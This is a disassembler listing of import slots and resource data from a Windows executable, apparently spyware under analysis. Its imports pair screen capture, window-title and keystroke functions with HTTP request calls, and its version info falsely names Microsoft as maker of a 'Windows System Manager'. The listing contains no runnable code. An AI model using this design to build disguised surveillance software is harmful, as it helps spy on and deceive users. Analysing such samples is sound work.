0040a2f4 uint32_t g_40a2f4 ← GdipCreateBitmapFromHBITMAP
0040a2f4 dd 0x00000000
0040a2f8
0040a2f8 00 00 00 00 00 00 00 00 ........
0040a300
0040a300 uint32_t g_40a300 ← GdipDisposeImage
0040a300 dd 0x00000000
0040a304
0040a304 00 00 00 00 00 00 00 00 00 00 00 00 ............
0040a310 00 00 00 00 00 00 00 00 ........
0040a318
0040a318 uint32_t g_40a318 ← CLSIDFromString
0040a318 dd 0x00000000
0040a31c
0040a31c 00 00 00 00 ....
0040a320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040a330
0040a330 uint32_t g_40a330 ← InternetConnectA
0040a330 dd 0x00000000
0040a334
0040a334 00 00 00 00 00 00 00 00 00 00 00 00 ............
0040a340 00 00 00 00 00 00 00 00 ........
0040a348
0040a348 uint32_t g_40a348 ← HttpOpenRequestA
0040a348 dd 0x00000000
0040a34c
0040a34c 00 00 00 00 ....
0040a350 00 00 00 00 ....
0040a354
0040a354 uint32_t g_40a354 ← HttpSendRequestA
0040a354 dd 0x00000000
0040a358
0040a358 00 00 00 00 00 00 00 00 ........
0040a360
0040a360 uint32_t g_40a360 ← InternetCloseHandle
0040a360 dd 0x00000000
0040a364
0040a364 00 00 00 00 00 00 00 00 ........
0040a36c
0040a36c uint32_t g_40a36c ← HttpAddRequestHeadersA
0040a36c dd 0x00000000
0040a370
0040a370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040a380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040a390
0040a390 uint32_t g_40a390 ← GetForegroundWindow
0040a390 dd 0x00000000
0040a394
0040a394 00 00 00 00 00 00 00 00 ........
0040a39c
0040a39c uint32_t g_40a39c ← GetWindowTextA
0040a39c dd 0x00000000
0040a3a0
0040a3a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040a3b0 00 00 00 00 ....
0040a3b4
0040a3b4 uint32_t g_40a3b4 ← keybd_event
0040a3b4 dd 0x00000000
0040a3b8
0040a3b8 uint32_t g_40a3b8 ← frmMain.Form_Load frmMain.proc_452
0040a3b8 dd 0x00000000
0040a3bc
0040a3bc 00 00 00 00 ....
0040a3c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
0040aaf0 00 00 00 00 00 00 00 00 00 00 00 00 ............
0040b000
0040b000 struct IMAGE_RESOURCE_DIRECTORY
0040b000 Characteristics uint32 0x00000000
0040b004 TimeDateStamp uint32 0x55a501a3
0040b008 MajorVersion int 0
0040b00a MinorVersion int 5
0040b00c NumberOfNamedEntries int 0
0040b00e NumberOfIdEntries int 3
0040b010
0040b010 struct IMAGE_RESOURCE_TYPE_DIRECTORY_ENTRY
0040b010 Name int 3 ; RT_ICON
0040b014 OffsetToData uint32 0x40b058
0040b018
0040b018 struct IMAGE_RESOURCE_TYPE_DIRECTORY_ENTRY
0040b018 Name int 14 ; RT_GROUP_ICON
0040b01c OffsetToData uint32 0x40b040
0040b020
0040b020 struct IMAGE_RESOURCE_TYPE_DIRECTORY_ENTRY
0040b020 Name int 16 ; RT_VERSION
0040b024 OffsetToData uint32 0x40b028
0040b028
0040b028 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b024
0040b028 Characteristics uint32 0x00000000
0040b02c TimeDateStamp uint32 0x55a501a3
0040b030 MajorVersion int 0
0040b032 MinorVersion int 5
0040b034 NumberOfNamedEntries int 0
0040b036 NumberOfIdEntries int 1
0040b038
0040b038 struct IMAGE_RESOURCE_NAME_DIRECTORY_ENTRY
0040b038 Name int 1
0040b03c OffsetToData uint32 0x40b078
0040b040
0040b040 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b01c
0040b040 Characteristics uint32 0x00000000
0040b044 TimeDateStamp uint32 0x55a501a3
0040b048 MajorVersion int 0
0040b04a MinorVersion int 5
0040b04c NumberOfNamedEntries int 0
0040b04e NumberOfIdEntries int 1
0040b050
0040b050 struct IMAGE_RESOURCE_NAME_DIRECTORY_ENTRY
0040b050 Name int 1
0040b054 OffsetToData uint32 0x40b090
0040b058
0040b058 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b014
0040b058 Characteristics uint32 0x00000000
0040b05c TimeDateStamp uint32 0x55a501a3
0040b060 MajorVersion int 0
0040b062 MinorVersion int 5
0040b064 NumberOfNamedEntries int 0
0040b066 NumberOfIdEntries int 2
0040b068
0040b068 struct IMAGE_RESOURCE_NAME_DIRECTORY_ENTRY
0040b068 Name int 30001
0040b06c OffsetToData uint32 0x40b0c0
0040b070
0040b070 struct IMAGE_RESOURCE_NAME_DIRECTORY_ENTRY
0040b070 Name int 30002
0040b074 OffsetToData uint32 0x40b0a8
0040b078
0040b078 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b03c
0040b078 Characteristics uint32 0x00000000
0040b07c TimeDateStamp uint32 0x55a501a3
0040b080 MajorVersion int 0
0040b082 MinorVersion int 5
0040b084 NumberOfNamedEntries int 0
0040b086 NumberOfIdEntries int 1
0040b088
0040b088 struct IMAGE_RESOURCE_LANGUAGE_DIRECTORY_ENTRY
0040b088 Name uint32 0x00000410
0040b08c OffsetToData uint32 0x40b0d8
0040b090
0040b090 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b054
0040b090 Characteristics uint32 0x00000000
0040b094 TimeDateStamp uint32 0x55a501a3
0040b098 MajorVersion int 0
0040b09a MinorVersion int 5
0040b09c NumberOfNamedEntries int 0
0040b09e NumberOfIdEntries int 1
0040b0a0
0040b0a0 struct IMAGE_RESOURCE_LANGUAGE_DIRECTORY_ENTRY
0040b0a0 Name uint32 0x00000000
0040b0a4 OffsetToData uint32 0x40b0e8
0040b0a8
0040b0a8 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b074
0040b0a8 Characteristics uint32 0x00000000
0040b0ac TimeDateStamp uint32 0x55a501a3
0040b0b0 MajorVersion int 0
0040b0b2 MinorVersion int 5
0040b0b4 NumberOfNamedEntries int 0
0040b0b6 NumberOfIdEntries int 1
0040b0b8
0040b0b8 struct IMAGE_RESOURCE_LANGUAGE_DIRECTORY_ENTRY
0040b0b8 Name uint32 0x00000000
0040b0bc OffsetToData uint32 0x40b0f8
0040b0c0
0040b0c0 struct IMAGE_RESOURCE_DIRECTORY ← 0x40b06c
0040b0c0 Characteristics uint32 0x00000000
0040b0c4 TimeDateStamp uint32 0x55a501a3
0040b0c8 MajorVersion int 0
0040b0ca MinorVersion int 5
0040b0cc NumberOfNamedEntries int 0
0040b0ce NumberOfIdEntries int 1
0040b0d0
0040b0d0 struct IMAGE_RESOURCE_LANGUAGE_DIRECTORY_ENTRY
0040b0d0 Name uint32 0x00000000
0040b0d4 OffsetToData uint32 0x40b108
0040b0d8
0040b0d8 struct IMAGE_RESOURCE_DATA_ENTRY ← 0x40b08c
0040b0d8 OffsetToData uint32 0x40b120
0040b0dc Size int 832
0040b0e0 CodePage int 1200
0040b0e4 Reserved uint32 0x00000000
0040b0e8
0040b0e8 struct IMAGE_RESOURCE_DATA_ENTRY ← 0x40b0a4
0040b0e8 OffsetToData uint32 0x40b460
0040b0ec Size int 36
0040b0f0 CodePage int 1200
0040b0f4 Reserved uint32 0x00000000
0040b0f8
0040b0f8 struct IMAGE_RESOURCE_DATA_ENTRY ← 0x40b0bc
0040b0f8 OffsetToData uint32 0x40b484
0040b0fc Size int 296
0040b100 CodePage int 1200
0040b104 Reserved uint32 0x00000000
0040b108
0040b108 struct IMAGE_RESOURCE_DATA_ENTRY ← 0x40b0d4
0040b108 OffsetToData uint32 0x40b5ac
0040b10c Size int 744
0040b110 CodePage int 1200
0040b114 Reserved uint32 0x00000000
0040b118
0040b118 00 00 00 00 00 00 00 00 ........
0040b120
0040b120 struct VS_VERSIONINFO ← 0x40b0d8
0040b120 wLength int 832
0040b122 wValueLength int 52
0040b124 wType int 0 ; binary
0040b126
0040b126 wstring "VS_VERSION_INFO",0
0040b146
0040b146 00 00 ..
0040b148
0040b148 struct VS_FIXEDFILEINFO
0040b148 dwSignature uint32 0xfeef04bd ; VS_FFI_SIGNATURE
0040b14c dwStrucVersion uint32 0x00010000
0040b150 dwFileVersionMS uint32 0x00030005
0040b154 dwFileVersionLS uint32 0x00000000
0040b158 dwProductVersionMS uint32 0x00030005
0040b15c dwProductVersionLS uint32 0x00000000
0040b160 dwFileFlagsMask uint32 0x00000000
0040b164 dwFileFlags uint32 0x00000000
0040b168 dwFileOS uint32 0x00000004 ; VOS__WINDOWS32
0040b16c dwFileType uint32 0x00000001 ; VFT_APP
0040b170 dwFileSubtype uint32 0x00000000
0040b174 dwFileDateMS uint32 0x00000000
0040b178 dwFileDateLS uint32 0x00000000
0040b17c
0040b17c struct VarFileInfo
0040b17c wLength int 68
0040b17e wValueLength int 0
0040b180 wType int 0 ; binary
0040b182
0040b182 wstring "VarFileInfo",0
0040b19a
0040b19a 00 00 ..
0040b19c
0040b19c struct Var
0040b19c wLength int 36
0040b19e wValueLength int 4
0040b1a0 wType int 0 ; binary
0040b1a2
0040b1a2 wstring "Translation",0
0040b1ba
0040b1ba 00 00 ..
0040b1bc
0040b1bc struct Translation
0040b1bc wLanguage uint16 0x0410
0040b1be wCodePage int 1200
0040b1c0
0040b1c0 struct StringFileInfo
0040b1c0 wLength int 672
0040b1c2 wValueLength int 0
0040b1c4 wType int 1 ; text
0040b1c6
0040b1c6 wstring "StringFileInfo",0
0040b1e4
0040b1e4 struct StringTable
0040b1e4 wLength int 636
0040b1e6 wValueLength int 0
0040b1e8 wType int 1 ; text
0040b1ea
0040b1ea wstring "041004B0",0
0040b1fc
0040b1fc struct String
0040b1fc wLength int 72
0040b1fe wValueLength int 46
0040b200 wType int 1 ; text
0040b202
0040b202 wstring "Comments",0
0040b214
0040b214 wstring "Windows System Manager",0
0040b242
0040b242 00 00 ..
0040b244
0040b244 struct String
0040b244 wLength int 52
0040b246 wValueLength int 20
0040b248 wType int 1 ; text
0040b24a
0040b24a wstring "CompanyName",0
0040b262
0040b262 00 00 ..
0040b264
0040b264 wstring "Microsoft",0
0040b278
0040b278 struct String
0040b278 wLength int 88
0040b27a wValueLength int 46
0040b27c wType int 1 ; text
0040b27e
0040b27e wstring "FileDescription",0
0040b29e
0040b29e 00 00 ..
0040b2a0
0040b2a0 wstring "Windows System Manager",0
0040b2ce
0040b2ce 00 00 ..
0040b2d0
0040b2d0 struct String
0040b2d0 wLength int 56
0040b2d2 wValueLength int 20
0040b2d4 wType int 1 ; text
0040b2d6
0040b2d6 wstring "LegalCopyright",0
0040b2f4
0040b2f4 wstring "Microsoft",0
0040b308
0040b308 struct String
0040b308 wLength int 60
0040b30a wValueLength int 20
0040b30c wType int 1 ; text
0040b30e
0040b30e wstring "LegalTrademarks",0
0040b32e
0040b32e 00 00 ..
0040b330
0040b330 wstring "Microsoft",0
0040b344
0040b344 struct String
0040b344 wLength int 80
0040b346 wValueLength int 46
0040b348 wType int 1 ; text
0040b34a
0040b34a wstring "ProductName",0
0040b362
0040b362 00 00 ..
0040b364
0040b364 wstring "Windows System Manager",0
0040b392
0040b392 00 00 ..
Loading..